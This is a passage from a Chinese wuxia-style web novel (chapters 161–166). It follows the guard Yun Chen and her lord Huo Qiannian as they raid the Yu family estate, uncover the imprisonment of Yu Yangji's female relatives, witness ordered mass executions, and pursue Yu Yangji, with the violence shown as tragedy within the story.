云琛听着心疼,暗暗叹口气,正要单膝跪下,铁了心表明女儿身,霍阾玉却仿佛知道她要说什么狠绝之言似的,赶忙插话道:
“你别听小月儿胡说,是我自己没有中意的人,不想嫁,与你无关……你不必有负担,我从没求你什么……只要看到你安好,就足够了……”
说完,霍阾玉赶忙拿起杯子喝茶,掩饰情绪,却错拿酒杯,呛得连连咳嗽,杯子也打翻在桌子上。
那慌乱的样子,实在看得人心不忍。
深宅内院里的闺阁儿女,不比前院闯荡的男人。
在这礼教森严的楠国,男人们可以去建功立业,闯荡打拼,自由自在于天地间;
女子们只能整日在闺房之中,对着一样的天,一样的院,那十几年不变的花园,一针一线地做女工、描画、弹琴弄钗……
关于云琛的一切,都是由小月儿悄悄去打听来的。
即使知道云琛被逐出府,霍阾玉也什么都做不了。
不能去寻,不能去追,只能没日没夜地猜想和忧心。
明明并未见到云琛如何危险,可有时候想着想着,猜着猜着,霍阾玉就忍不住要哭。
任云琛是铁打的心,可看着这样的霍阾玉,她还是开不了口。
下次吧,待回府日子再久一些,霍阾玉身体好一些,再来表明吧。云琛这样想。
犹豫了一下,云琛入座,端起
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酒杯。
霍阾玉慢慢高兴起来,连忙拿出一对短绒护臂,叫小月儿拿给云琛。
云琛接过,护臂黑底棕纹,绣着麒麟升云纹,用得是上好的短鹿绒内衬和十字织锦的料子,做工精致,针脚细密,看起来费了不少功夫。
云琛的心在“坦白”与“过些日子再说”之间来回摇摆,她想推辞拒绝这护臂,可看见霍阾玉眼眶微红,一副快哭了的样子,只能顺从收下。
对着一大桌菜,云琛上下左右看了个遍,挑几道吃起来。
其实她今天已经吃喝一整天了,饭早就快满到嗓子眼。
但她还是假装吃得很香——
一筷子五花鹿脯,凉透的肥肉进到嘴里,跟喝了一大口油似的;
再咬一口快赶上凉菜的蒸软羊,腥臊味直冲脑门。
云琛用哀求的眼神偷偷看一眼旁边站着的小月儿,试图传递“求大姐热下菜”的信号。
可惜收到的只有小月儿快翻上天的大白眼,和狠狠对着空气拧了一下的“死亡威胁”。
没辙,云琛只能深吸一口气,拿出“搏命”的架势埋头猛吃。
感觉到霍阾玉一直用含情脉脉的眼神看着自己,云琛颇为不自在。
再加上菜吃得反胃,她便借口净手,想离席缓一会儿。
小月儿没好气地胡乱指了个方向。
走出去很远后,云琛听见小月儿又急又心疼地叫了声“小姐!”
霍阾玉没有搭腔,只是“哎呀”一声,“糟糕,菜怎么这样凉了,快拿去热热!”
云琛听得心里特别不是滋味,闷着头使劲往前走,却见一间道式香房出现在眼前。
看着这与霍府格格不入的房间,她好奇地推开门,正见庄重洁净的神台上,袅袅烛烟中,一簇桔梗花热烈地绽放。
第161章 白瞎那么帅了
刚在府中休息两日,东宫令就足足下了十一道,全部是催霍乾念速速前往围剿玉家的事。
见云琛睡了两夜,终于将“文武问宫”时候亏的觉补回来了,霍乾念才同意打点行程出发。
只半日的功夫,霍府就集结起数百护卫,一干人员、马匹、辎重,皆打点妥当,队伍在府门口做着最后的点名整队。
因为是霍乾念升任大都督之后第一次外派,还要在离玉家地界最近的玄甲军步兵营调动三千步兵,率兵前去围剿。
加上看到十几年没有出现过的狮威旗又一次高高扬起,阖府激动不已,各院都纷纷出来相送,引来百姓围观驻足,场面十分热闹。
临行之际,云琛策马随在霍乾念身后,目光注意到送行人群最后面的霍阾玉。
她身如杨柳,倚在大门的门扇后,眼神失落地瞧着云琛的胳膊。
云琛胳膊上仍旧带着普通护臂,并没有用那双短绒麒麟升云纹的。
霍阾玉的心意,云琛没有戴着。
云琛有些歉疚地看向霍阾玉,后者却已捂着面匆匆走远。
小月儿恶狠狠地瞪了云琛一眼,赶紧去追霍阾玉。
“我若出面,只怕更伤阾玉。”霍乾念对云琛说道。
洞察如他,怎会不知霍阾玉如何对云琛心生爱慕。
霍老爷子暗示阻挠了一次又一次,可霍阾玉骨子里就带着霍家人的烈,宁死也不嫁他人。
霍乾念这辈子都没想过,会有一天要和自己同胞亲妹去“争夺”同一个女人。
实在荒唐,实在无奈。
可谁又有错呢?要怪,大概只能怪姻缘差错吧。
云琛叹口气,“待围剿过后,我会亲自去和二小姐坦白。还是我自己解决最妥当。”
不多时,狮威旗的队伍开始向东行进,每日狂奔六百里,只在夜间随地休息两个时辰,便继续赶路。
原本四十多天的路程,半个月便抵达了玉阳基所在的阳基城外。
阳基城是楠国境内唯一以人名命名的大城,是玉家花了万金,层层贿赂官员,得到的一份无二荣耀。
甚至非常扯淡地在城中央立了座“擎天巨柱”作为标志,左右各配一个铜制的大圆福球。
近看,上面密密麻麻写着玉家辉煌族史。
远看,整个建筑就像一根……那啥……
算了,不提了,不堪入目。
只可惜如今城池尚在,标志物屹立不倒,但玉家的荣耀却已不复从前。
公主监国之后第一件事,便是根据从玉家取得的总账册核实细账,按受贿往来搜集证据,肃清朝廷内外,逐一清查玉家之党,一一按律治罪。
既有受贿之罪,自然也有行贿之罪。
细细论起贿赂、威胁、利用朝廷官员的罪名,玉阳基当判死罪,一干亲信也难逃牵连。
自从账册被江鸣抢走,玉阳基便知大事不妙,表面上安抚玉家人,丞相倪鲲还在,那力鼎玉家的大靠山还在,实际上早就打定主意要跑。
霍帮的探子说,当玄都宫变的消息从京都传出,玉阳基立刻撇下一大家子老老小小,只带了两个心爱的男宠、几个得力护卫,连夜出逃了。
等霍乾念调动完三千步兵,赶到金碧辉煌的玉家老巢时,玉阳基早已无影无踪,只留了一府貌俊风尘的玉家子弟面面相觑,不知所措。
霍乾念一身戎装,骑着高大的屠狼驹,冷面立于玉府门前。
众护卫和三千玄甲军步兵列阵在后,森严戒备。
一个看起来二十多岁,长相颇为出挑的玉家子弟见状,大着胆子走到霍乾念面前,笑道:
“早就听说霍都督要来,可惜我家老爷不在,在下是玉家的六掌柜。霍都督如不嫌弃,请随在下入府喝茶,怎么样?”
那六掌柜说着,竟悄悄用手去摸霍乾念的靴子,脸上露出一个暗示勾人的笑容。
霍乾念与云琛的“龙阳”之事,这些年到底传了些有的没的出去,人们甚至戏称“首富都爱兔儿爷”,惊奇楠国势力最强的两大财阀,竟都好龙阳。
估摸着霍乾念既然也喜欢男人,不可能对玉府上下近千个貌美男子无动于衷,那六掌柜这才大着胆子勾引一番,只盼着玉阳基不在,霍乾念不至于要了他们的性命。
但很显然,那六掌柜的算盘打错了。
霍乾念只是用厌恶又冰冷的目光瞧着那六掌柜,而后牵动缰绳,后退一步,轻轻“呵”了一声。
屠狼驹立刻扬起前蹄,狠狠踹在那六掌柜脸上。
后者惨叫一声,捂着满脸血倒在地上。
霍乾念随即大力拉动缰绳,策马在前,冲破玉府大门,高声道:
“众将听令!清剿玉府上下所有人等,如遇反抗!先斩后奏!”
三千将士随之冲进玉府。
一时间,只闻鬼哭狼嚎,叩地求饶,玉府内外的院卫几乎没怎么反抗,便被通通拿下。
除了最开始被屠狼驹踹倒的那个六掌柜的鼻血,整个玉府上下再没流一滴血。
一府千人,竟没一个有骨头的,全部除了哭就是求饶,倒叫霍帮众人十分不自在。
霍乾念策马转了一圈,剑都没出鞘,就慢悠悠地出来了,看起来怪没劲的。
叶峮砸吧了下牙花子,可惜道:
“白瞎少主刚才那么帅地冲进去了。”
花绝掂着护卫刀骂道:
“我特娘都做好战斗姿势了,怎么一个能打的都没有?”
不言打量四周,除了一些最低等的侍女,其他几乎全都是些俊俏的小白脸,可以猜想玉阳基往日是如何在这淫窟消磨的,他忍不住干呕两声:
“给这些厮治罪关牢里,只怕都要脏了牢里的老鼠。干脆直接给他们卖身为兔儿爷,专门去伺候那些肥头大耳的龙阳猪去吧!”
花绝不赞同:“那到底是罚他们,还是赏他们呢??”
不言又是一声干呕,四顾一圈,疑惑道:
“阿琛呢?”
叶峮道:“方才少主第一个冲进去的,阿琛第二个冲进去的,我瞧着阿琛往西边小岛去了。”
几人互相对视一眼,连忙驾马往西边小岛奔去。
第162章 何罪之有
不是叶峮几人小看云琛,实在是接连经历了几次对云琛“失而复得”,大家都有些放不下心,生怕玉家有什么腌臜机关在等着呢。
可等几人赶到最西边的一处水岛时,只见云琛呆呆地站在院子里,身前正跪着几十个大肚子的妇人。
她们形容枯槁,高矮胖瘦美丑,什么样的都有,每个人都捧着肚子跪在地上,惶恐地哀求饶命。
叶峮上前粗略数了一下,有五十多个妇人,其中四十多个孕妇,还有十几个人虽然没有身孕,却也是刚刚生产过的。
花绝皱眉:“玉阳基那厮不是只喜欢男人吗?怎么还有这么多小老婆在这儿?”
不言也好奇地得狠,抓过一个玉家小厮仔细盘问。
那玉家小厮说罢,众人瞬间呆若木鸡,都和云琛一样,呆呆地愣在那里,不知道该做什么反应。
这西边水岛上的五十多个妇人,不是玉阳基的小老婆,而是玉阳基血亲相连的女儿、妹妹、侄女、孙女……
对玉阳基来说,女人就是圈养起来、用来生育的牲口。
只要他每月宠幸几个,用玉家密药助其怀孕,便算是有用的“牲口”。
若生下男婴,便立刻被老妈子抱去前院养活,长大之后,要么在玉家哪个堂口卖命做活,要么长得不错,便被玉阳基禁脔蹂躏。
若生下女婴,则扔在这岛上养活,待能生育之后,便被刷洗干净,送进玉阳基的寝屋,忍受着厌恶痛苦的折磨,吞下助孕的药丸,成为新一代的“牲口”。
这便是玉家没有旁出宗族,却代代人丁兴旺,男丁生生不息的秘密。
众人只感觉像是站在一团浓稠恶臭的黑暗面前,竟不知这世道能邪恶到这般地步。
一个妇人捧着即将临盆的肚子,跪行到云琛面前,叩头悲道:
“求大人饶命……我们真的什么也不知道……请大人看在这些未出世孩子的份上,就留我们到生产吧,求求您……”
云琛赶紧将人扶起,而后与叶峮几人商讨一番,觉得这事只能由霍乾念亲自定夺。
云琛便对院子里的女人们说道:
“玉家行贿谋逆,我等奉东宫之命前来抓捕,但只抓罪首与相干,必不会祸及无辜,请诸位……”
叶峮赶忙去拦云琛,阻止她再继续说下去。
女人们听了云琛说到一半的话,立刻松了一口气,互相抱在一起流泪安慰。
云琛不解地看着叶峮,不明白为什么不让她继续说。
叶峮亦皱眉瞧着她,一副想说些什么,却又无法说出口的纠结。
很快,云琛便知道这“纠结”是什么了。
在霍帮领三千步兵清查完玉府,扣押阖府上下九百七十一人,并由霍乾念亲自将所有事务情形及处置之法上书后,一道东宫令紧跟而来。
上面只有八个字:
“就地正法,除恶务尽”。
对着这八个字,霍乾念沉默了很久。
南璃君的意思是,玉家一干党羽,不必审问羁押,直接疑罪从无,就地正法;并且清除玉家势力必须干净彻底,不可留一个后患。
如今公主监国,丞相辅政。
这东宫令既然能放出来,就代表无论是南璃君本人,还是丞相倪鲲,都是一样的意思。
玉府久据水岛,远离城中。
这么多年来,两扇镀金的大门一关,什么“有人无伦”“违背天理”都被捂死在里面。
就连霍帮身为玉家的死对头,都不知晓其中黑暗,甚至都不知这五十多个妇人的存在。
同样的,纵使有那么些枉杀在其中,也一样不会有人知道。
像是洪水泛滥奔腾到眼前了,却突然化为一股无力的细流。
再去看那五十多个妇人,霍帮众人只觉不忍相看。
这玉府上上下下都是金银玉堆积出来的华丽夺目,只有这西边水岛简陋到仅可遮风挡雨。
一时间,原本揣着腾腾杀气来杀玉家狗的霍帮众人,反而开始施以援手,忙着帮水岛上的妇人们安置衣服、被褥、吃食……
这边,妇人们互相安慰,地狱的日子终于到头了,享受着从来没有过的舒适和温暖。
那边,最大的主宅岛屿上,却已开始趁夜行刑。
趁着夜色,九百多个玉家子弟被拉到水边,由步兵的将士们下手,一一诛杀并沉尸。
几乎每个人都在大呼“冤枉”“与我无干”,惨叫声持续了大半夜。
待玉家子弟杀尽,最后只剩水岛上的五十多个妇人时,步兵统领对霍乾念道:
“都督不必忧心,仍然由我等将士动手即可。但凡留一个祸患,一个婴孩,只怕佞臣残党拥之作乱,十八年后又是一场祸国殃民的祸事。”
霍乾念没有说话,那统领讲的道理,他何尝不懂。
“统领稍后,容我上书东宫再议。”霍乾念说。
而后又是长久的沉默。
云琛除了帮妇人们安置衣物吃食,就是在霍乾念身边。
她看着眼前的一切,同样深感沉重无力。
最后,霍乾念握着她的手,一笔一画地在上书信上写下八个字:
“未至人间,何罪之有。”
第163章 忍你小子很久了
在霍帮率领三千步兵离开玉府,踏上追杀玉阳基之路的第七日。
霍乾念收到消息,说是玉府西边水岛上的五十多个妇人,包括刚出生和未出生的婴孩,已被持有东宫令的守城军尽数诛杀,没有留一个活口。
那些“未至人间”的孩子,永远没机会来这人间了。
消息还说,南璃君对霍乾念此次违逆东宫令之事颇有微词。
那步兵统领对此毫不意外,对霍乾念道:
“霍都督宅心仁厚,可悯敌如杀己,如果到了战场上,那便是老弱妇孺男女老少皆可杀之。等玉家之祸被彻底清除,您便是楠国首屈一指的财权重臣,万万不可拘泥于细枝末节啊!”
霍乾念明白那步兵统领说的都是肺腑之言,感谢地拍拍他的肩膀,却没有说话,只是往安静处走去。
走出去一段路,那步兵统领像劝诫,又像是感叹,幽幽道:
“齐家,治国,平天下。‘治国’当比‘齐家’更严吧。”
霍乾念立时顿住脚步。
很快,玉家满门上下,连同婴孩在内,全部被尽数诛杀的消息,传遍街头巷尾。
霍帮众人闻此停下行程,原地默哀许久,气氛压抑了好几日。
一直到探子传来玉阳基的消息,众人才又打起精神。
探子说,在往东北边境的固英城中,有人曾见过一个老头子带着两个年轻人,还有四个护卫相随。
起初以为是父亲带着儿子,可看三人之间怪异的举止,又不像是父子,因而对此事印象颇深。
为不打草惊蛇,霍乾念只将三千步兵留在固英城,装作笃定玉阳基在城中,大肆搜城的样子。
他与护卫则按照探子寻得的方向,兵分五路,每队五十人,分开向东北方向搜索。
虽然知道云琛的好本事,还是由她带了一队,但霍乾念总是不放心,便将自己这一队安排在离她最近的地方,以便照应。
云琛可不管那么多,她知道如今的霍乾念几乎根本不需要人护卫,他功夫本领远在众人之上。
因此,那厢的霍乾念刚抬手说了一个“你多小——”剩下的话还没来得及说完,这厢的云琛已带头窜出去,只留给他一个干脆利落的背影。
五路人马分别潜入密林,一边注意不要发出大的声响,一边寸草寸木地搜寻。
在林中搜寻了整整三日无果。
入夜,云琛领着护卫队在一处溪边休息,砍伐树木升起篝火。
众人疲惫不堪,纷纷择树睡觉,轮流休整。
云琛则在一旁对着溪水琢磨,想着如何引蛇出洞最好,不能一直这样大海捞针找下去。
正凝神思考中,忽听不远处,一个护卫抱怨道:
“你小子是新来的吗?能点名出来这次外派,应当是个好手啊!可从京都过来这一个月,我看你是骑马哆嗦,拿刀哆嗦,爬树也哆嗦!我忍你小子很久了!”
另一个护卫插话道:
“看模样的确是新来的,你是哪个院里来的?说话啊?”
霍帮护卫大都很团结,但一群性格不同的男人聚在一起,还是少不了打骂掐架。
云琛这队的五十个护卫,大多都是她平日相熟的,也有几个脸生的在里面。
行路途中她的确见到一个很瘦弱的护卫跟在队伍最后头,骑着马摇摇晃晃,总是掉队。
她走过去准备拉架,那两个相熟的护卫还在抱怨不停:
“云哥,这家伙是哪个院的?咋把这么不中用的送上来了?”
“大家都是跳上树,找个舒服的枝头睡觉就是,偏生他是手脚并用往上爬,最基本的轻功都这么差,还怎么办差?”
无论旁人怎么说,那瘦弱的护卫自始至终都不吭声,只低头站在阴影里。
云琛仔细去瞧,只能看见那瘦弱护卫身量瘦小,头发蓬乱,脸上全是黑灰,根本看不出本来容貌。
云琛叫那两个抱怨的护卫赶紧去休息,等周围没有人了,她尽量将语气放得温和,对那瘦弱的护卫道:
“你是新来的吗?做护卫很辛苦吧,没事,时间久了就好了,大家都是这么过来的。他们说话冲,但都是打斗的好手,关键时候也绝对会照应你的,你放心。”
云琛说完,对面的人还是低着头不说话,肩膀却逐渐抽动起来,一颗颗晶莹的珠子落下,竟然是哭了。
云琛愣了。
如今霍帮这么多护卫里,除了花绝,她就没见过第二个大男人这么哭。
况且她也没骂人啊。
她只能将语气放得更温柔:
“别难受了,赶了一天路,饿了吧?走,和我一起吃点东西吧!”
不知哪句话又触到对方神经了,那瘦弱护卫竟直接捧着脸大哭起来,引得周围原本睡下的护卫们都看了过来。
云琛只得赶紧揽住那瘦弱护卫的肩膀,往林子深处走去,一边走,一边不停安慰。
等走到一处草木稀疏,月光明亮的地方。
那瘦弱的护卫终于哭够,拿袖子擦擦眼泪,小声叫了句“云琛”。
听到那声音,再从那一脸眼泪和黑灰的脏污中仔细去看,云琛顿如五雷轰顶,惊得舌头都捋不直了:
“二、二、二、二小姐?!”
第164章 不忍辜负
霍阾玉使劲拿袖子擦脸,虽然擦不干净,但已能依稀看出容貌。
云琛感觉脑袋被人抽了一巴掌似的,嗡嗡直作响,结巴问道:
“你你你你怎么在这?”
霍阾玉幽怨地看了云琛一眼,还在抽抽搭搭,语气却故意满不在乎道:
“我怎么不能在这?我要跟着你,你到哪里,我就到哪里!”
云琛目瞪口呆,“你疯了?”
霍阾玉眼睛又是一红,深吸一口气,道:
“我就是疯了,脑子一热就从府里偷跑出来,混进护卫队里!我是疯了!所以跟着你们千里迢迢跑了一个月!”
越说越激动,霍阾玉两眼含泪,忍不住大喊:“我疯了!所以我喜欢一个怎么都看不上我的人!这辈子就要跟着你!不管你愿不愿意!!云琛,我好怕你又丢了……我真的受够了在府里待着……像个傻子一样等你的消息……”
霍阾玉说着已是泣不成声,不停地拿小拳头捶云琛的肩头。
可除了第一下是实打实用力,后面的每一下都比前一下更轻,舍不得用力气。
霍阾玉抓着云琛的衣服,将头杵在云琛肩头,哭得无助又心酸。
云琛仰头望着那千年万年不变的月亮,忍不住心中悲叹:
这到底是什么孽缘啊……
别说霍阾玉这样一个养尊处优、连马都不会骑的大小姐。
就是云琛这一个月奔波下来,也觉十分劳累。
她不敢想象,霍阾玉一路上是怎么咬着牙坚持下来的。
等霍阾玉彻底哭完,云琛带她到溪水上游梳洗。
云琛点燃一只火把,立在溪水边,给霍阾玉照明取暖,然后站去老远,一为避嫌,二为防止其他护卫找过来。
虽然离的远,但云琛还是清楚地听见哗哗的水声,以及霍阾玉不时痛得倒吸凉气的声音。
云琛猜到,霍阾玉可能是因为甚少骑马,这一个月骑了太久,大腿内侧磨破了。
她想起自己少时初骑马时,大腿也是磨破了皮,疼得没法走路不说,睡觉都得叉着腿。
再回想这一个月来,为了尽快抓住玉阳基,霍帮众人是如何不要命的狂奔行路,一路风餐露宿,席地而眠,吃冷饭,喝生水……
对霍阾玉这个从没吃过苦的贵族小姐来说,每一样都苦不堪言……
最令云琛心里难受的是,世家小姐们向来恪守礼教。
霍阾玉即使从小娇横,顶天也只是偷偷溜出府去听说书。
可如今为了云琛,霍阾玉竟可以将女子这辈子最重要的“名节”抛之脑后,只身混迹在全是男人的护卫队里。
难道真的就那么喜欢吗?
像她喜欢霍乾念一样。
霍阾玉也是这样不顾一切地喜欢着她云琛吗?
云琛陷入愁肠百结,耳朵听见水声停止,她便抬头看过去。
只见霍阾玉一瘸一拐地走来,应当是方才沾了水,这会两条大腿更疼了。
可霍阾玉仍旧没有叫苦,没有邀功,甚至还努力维持着走路的姿势优雅些,不想让云琛看出来。
从方才被那两个护卫骂开始,一直到现在,霍阾玉都没有提一句如何辛苦。
她只言喜欢。
关于付出和决绝,她统统只字不提。
不知怎的,云琛的心忽然就乱了起来。
既感动,又惶恐;深感负担,又深生愧疚。
当霍阾玉重新站在云琛面前,扬起未施粉黛的清秀面庞,望着云琛浅浅地笑时,云琛莫名一阵心软。
霍阾玉和霍乾念是同胞兄妹,长得很像。
只不过平时霍阾玉总是涂脂抹粉,弱化了与霍乾念的相像感。
眼下只有白白净净一张脸,一双盈满娇媚可人的丹凤美眸。
望着这双眼睛,实在让人难以想象,这背后竟是一个任性又执着、浓烈又坚韧的性子。
云琛背过身蹲下,拍拍肩膀,“上来吧,我背你回去。”
霍阾玉慢慢趴在云琛背上,轻轻环住云琛的脖子。
走出去一段路,云琛轻声开口:
“二小姐,我是女子——是同你一样的女儿身。”
不论接下来要迎接的会是霍阾玉的崩溃还是暴怒,云琛觉得,都必须要坦白了。
云琛道:“我娘亲离世之后,我便离家出来闯荡。为了寻我的恩人,我才女扮男装,做了流浪武师,辗转各地去寻恩。后来,得少主赏识,更许诺帮我找恩人,我才入霍帮做了护卫。二小姐,我不是有意瞒你,独独欺骗你,但真的对不起……我是女子……”
说完,云琛已准备迎接霍阾玉的大哭大闹。
谁知霍阾玉只是将脸靠在云琛的肩膀,轻声道:
“我知道。”
云琛瞬间僵住脚步。
霍阾玉小声说:
“那年在祠堂,我被贼人下药陷害。你抱着我东躲西藏,为我梳洗换衣……那时我脑子昏昏沉沉,很多事都记不清了……可后来时间一长,有些事我就慢慢记起来了。”
霍阾玉快速伸手摸了一下云琛胸口,道:
“当时你一直抱着我,我感觉到了……我知道你是女子。是一个了不起的女子,比这世上任何男人都勇敢又忠贞。不管你是男是女,你都是我心里的云琛。”
说着,霍阾玉收紧环着云琛的胳膊,声音哽咽,还带着点哀求:
“爱情本身是没有错的,是就连动物都拥有的权利,是这世间万物都可以生的感情,对吗?一只鸟一定要爱另一只鸟吗?它也可以爱一棵树的吧……云琛,你会讨厌这只鸟吗……”
沉默了许久,云琛才又继续往前走去。
“不会。”
至此,云琛终于懂了。
原来,从来都没有什么恪守礼教与避嫌。
小月儿不知道她的女扮男装,可霍阾玉自始至终都知道。
那些被规矩束缚住的心意,原本是要喷薄而出的,可霍阾玉却选择了小心翼翼地收起,只为守护住云琛的秘密。
这是一份重到云琛难以肩负的感情。
她不忍辜负,却又负担不起。
第165章 追杀玉阳基
在密林里猫了十二天,云琛一行人终于发现了玉阳基的踪迹。
这还要多亏云琛故意安排人在一处点火烧树,另一处不停地勒马嘶鸣发出追击声,遥遥与霍乾念的队伍呈三面包围之势,迫使密林中逃窜的人,只能往一个方向而去。
接下来便是比谁的脚程更快。
林中行路不比林子外面,到处都是树枝藤蔓,极其难行,很多地方都没有路,需要用刀砍伐出来才能行。
一队人边开路边行路,最快也只能日行八十里。
云琛则想出一个法子,将五十人分成两队,一队人昼行开路八十里,夜晚休息;另一队则夜行过已开辟好的八十里路,在体力充足的情况下,再开路四十里,白日休憩。
两队反复交替行进,可日行一百二十里。
这一路艰难辛苦,云琛便叫霍阾玉与自己共乘一匹马。
为了防止奔跑途中将霍阾玉甩下去,云琛还拿腰带勒住霍阾玉的腰,再系在自己身上。
只对其他人说,这个新来的护卫突发疾病,身体不适,实在无法骑马。
一路上,霍阾玉都紧紧抱着云琛后背,不管马背多颠簸,路边的树枝怎么像鞭子一样狠狠抽过腿,霍阾玉都紧咬牙关,一声不吭。
就这么又在林子里跑了五六日,云琛这队终于追上了玉阳基等人。
带队狂奔之中,云琛远远看见七八道插满尖木棍的绊马索出现在前方。
她赶紧大喝一声“醒马!”拔剑出鞘,剑指两边。
后方众人收到指示,立刻大力勒转缰绳,虽刹不住马蹄,却硬生生在绊马索前调转马头,冲进一旁高草丛,以草势缓冲马力,没有造成人员伤亡。
随后,云琛一剑挑断腰间系带,一脚踹在马头上,使马偏转方向。
她自己则飞身越过绊马索,挥剑冲向前方。
霍阾玉被马带的摔进草丛里,不顾身上疼痛,立刻爬起来去寻云琛。
霍阾玉没有武功,知道自己是个累赘,得亏这一路来都没有与人动手打斗的机会,不然她早就暴露了。
不想碍着云琛,可又担心得很,霍阾玉老实藏在高草丛里,只从草枝后面露出一双担忧的眼睛,一直望着云琛。
从前只见云琛忠诚、干净、坦荡、爽快,眼下亲眼见到云琛施展拳脚,霍阾玉终于知道她为什么能得“玄都护卫”那样厉害的大名号,得霍乾念最器重的心腹亲卫了。
一进入战斗状态的云琛,那双通透明亮的眼睛里便只剩决绝杀意。
她身姿轻盈如燕,拳脚却勇猛利落,挥剑更似劈山砍石,竟有雷霆万钧之势。
一柄细长的冷剑在空中鸣啸着簌簌飞舞,划过之处只见血花飞扬,不见落空。
玉家仅剩的护卫们在此埋伏断后,不只之前探子查到的四人,而有二十多人。
虽然人数比预计要多,但对云琛而言,就算今日没有带着队,她一人也足以除之。
玉阳基势倒,玉家护卫们躲得躲,逃得逃,最后剩下的皆是武功高强且忠勇护主的亲卫之辈。
云琛快速打手势,招呼护卫队四散包围,她则身先交战,引着对方往不远处的空地而去。
很快,玉家护卫们被逼退进空地,云琛带队牢牢将其围住,准备做最后的击杀。
在包围圈里扫视一眼,不见玉阳基,但云琛知道,眼前已是玉家最后断路的护卫们,玉阳基一定藏在前面不远处。
不喜废话,云琛再次挥剑杀去,却在兵器交接中听到一个熟悉的声音,气喘吁吁地调侃道:
“他娘的!霍帮那么多路追杀队伍里,偏偏碰上你这煞星!真是天要亡我!”
云琛抽空看过去,原来是胥斩。
不消半个时辰,玉家护卫死伤一地。
唯剩活着的几人,都被霍帮护卫押在地上反复逼问,就是不肯说出玉阳基的去处。
问一个,杀一个,下一个仍旧不肯说。
云琛将剑从一个玉家护卫的喉咙里抽出来,走到已经因为受伤,倒在地上大口吐血的胥斩身边。
一个霍帮护卫打量胥斩,道:“云哥,要不要想点法子逼问一下?”
云琛摆手,“他不会说的。”
她蹲下来打量胥斩,只见他锁骨靠近气管处有一道伤口,腰上也有两处。
最致命的是一处穿透胸骨的刀伤,已经可以看见翻出来的骨头渣子。
云琛将胥斩扶起来,帮他靠在一棵树上。
身体稍微舒服了些,胥斩剧烈咳嗽一阵,费力地喘着气,嘴里淌着血,勉强笑道:
“小子,咱俩……真是有缘……可惜没能和你……喝一杯……”
胥斩说着身子一歪,就要滑倒,云琛赶紧扶住他的肩膀,认真地问:
“胥斩大哥,你有什么遗言吗?我会帮你带到。”
胥斩似乎被云琛这正经样子逗笑了,他咧着嘴,摇摇头,只抬起一只满是血的手,拇指与食指张开,微微弯曲,笑道:
“来,碰一个……”
云琛亦作出同样的手势,与胥斩轻轻相碰。
而后,胥斩长舒一口气,闭上眼睛:
“好小子……给哥一个痛快的……”
云琛弯起小臂夹住剑身,反复擦净后,扬剑挥下,一剑划断了胥斩的脖颈。
满地都是玉家的护卫,全是宁死不出卖主子、战斗到最后一刻的好汉。
一个霍帮护卫叹道:
“玉家从来不把护卫的命当命,可我看,玉家所有的骨气都在这了。”
霍帮众人感慨不已,纷纷持刀行礼,表示哀悼,而后翻身上马,继续踏上追杀玉阳基的道路。
没有了最后一批护卫的保护,在这深山老林里,玉阳基几乎寸步难行,很快被云琛等追上。
第166章 无义血卫
玉阳基已年近七旬,虽然长期服用驻颜密药,叫他皮光肉滑。
可那一头几乎银白的头发,老态龙钟的身躯,还是出卖了他的年纪。
跑了这么多天,都是玉家护卫们轮流背着玉阳基赶路,即使如此,他也已累得头晕目眩,不知年月。
见云琛带着几十个人追上来,玉阳基索性不跑了,一屁股坐在地上直喘气,示意身边最后的两个人上去迎战。
那是玉阳基倾尽财力,换来的最后一丝活命机会。
而云琛见了,却忍不住暗自大骂:
这次探路的霍帮探子是谁?等回去我高低要请他吃顿无影脚!
先前探完说玉阳基身边只有四个护卫,结果刚刚发现是二十多个。
那探子还说,玉阳基没带别的,就带了两个最心爱的男宠。
男宠?谁家男宠穿一身血红色武服?还佩着杀人夺命的大刀??
云琛想起上次和江鸣一起,与这样两个红衣血卫相斗的情形。
那时如果不是她假装跳崖,耍了个小聪明,以她的功夫,根本不可能取胜。
如今她已尽得江鸣真传,她有信心杀其中个头比较高的那个血卫,另一个却不敢保证。
看出情势不妙,霍阾玉麻利地悄悄溜下马,乖乖躲进草丛之中。
云琛带领的护卫队齐齐朝一个血卫围杀而去。
她则与那高个子血卫面对面而立。
那高个血卫打量云琛的剑,冷笑道:
“听说,有人拿一把通体漆黑的‘饮血剑’,杀了我们两个血卫,其中一个甚至被徒手剖腹而死,我瞧你这剑挺眼熟,是‘饮血剑’?”
云琛道了句“它是你爹!”立刻拔剑冲去,倒叫那高个血卫吓了一跳,赶忙抽刀应战。
说实话,不是云琛没有教养,实在是有其师必有其徒。
有时候,就连云琛自己都不知道,怎么每次一开打,她就那么懒得和对方废话。
就算说两句,也都是挑衅骂人的。
云琛快速与那血卫缠斗在一起,一开始的十几招,二人的确不分上下。
但十几招一过,云琛渐渐感到有些吃力。
倒不是江鸣传授的剑法不行,实在是云琛太年轻,不如对方年长,积累的实战经验更丰富。
那血卫也很快发现云琛招式的薄弱点,以及剑太长,不擅近战的短口,开始贴紧云琛身边攻击。
云琛每每将打斗距离拉开,那血卫立刻像狗皮膏药一样重新贴上来。叫云琛打得十分辛苦。
另外一边,其他护卫全力围攻却不能成,反倒被杀得七七八八,毫无还手之力。
眼见那被众人围攻的血卫就要突出包围,朝云琛后方杀来,意图前后夹击,这时,一支冷箭穿越层层树木,无比精准地刺穿了他的脑袋。
霍乾念率一众霍帮护卫杀来,和云琛一起,将剩下那高个血卫也砍倒在地。
那高个血卫倒在地上,眼睛却一直望着霍乾念,冷哼一声,道:
“霍帮少主霍乾念?几十年来唯一从无义血卫手底下逃走的目标,唯一害得我们砸了一次招牌的人物。幸会。”
一瞬间,那年幽州城外,被无数红衣血卫追杀的往事,通通浮现在霍乾念的脑海。
霍乾念跳下马,走到那血卫跟前,剑尖指着他咽喉:
“无义血卫不讲‘义’,却讲‘信’。十万金杀一人,只出手一次,如杀不死目标,便杀死雇主。你们在江湖上没有恩,也没有仇,只是拿钱杀人。若我今日放过你,他日可留个情面?”
那血卫神色倨傲,哪怕刀尖抵着喉咙,也毫无惧色,吐出嘴里的血,神情淡定道:
“断不可能。我们无义血卫行走江湖,靠的便是无恩无仇只认钱,不管谁来,只要十万金,便替人杀人,就这么简单。你今日放过我,来日也不会承你的恩。”
霍乾念点点头,拿剑指了指不远处趁乱逃跑、却慢吞吞如乌龟一样的玉阳基,问:
“无义血卫不是只接杀人的活计吗?怎么也干起护卫了?”
那血卫鄙夷地看了玉阳基一眼,“没办法,他给的实在太多了——八百万两黄金给了我们掌门,护卫也干得。若亿两黄金到位,就是皇帝也杀得。”
“那真是抱歉,我又要砸你们招牌了。”霍乾念说。
那血卫嗤笑,用眼神示意不远处一排齐高的参天大树,道:
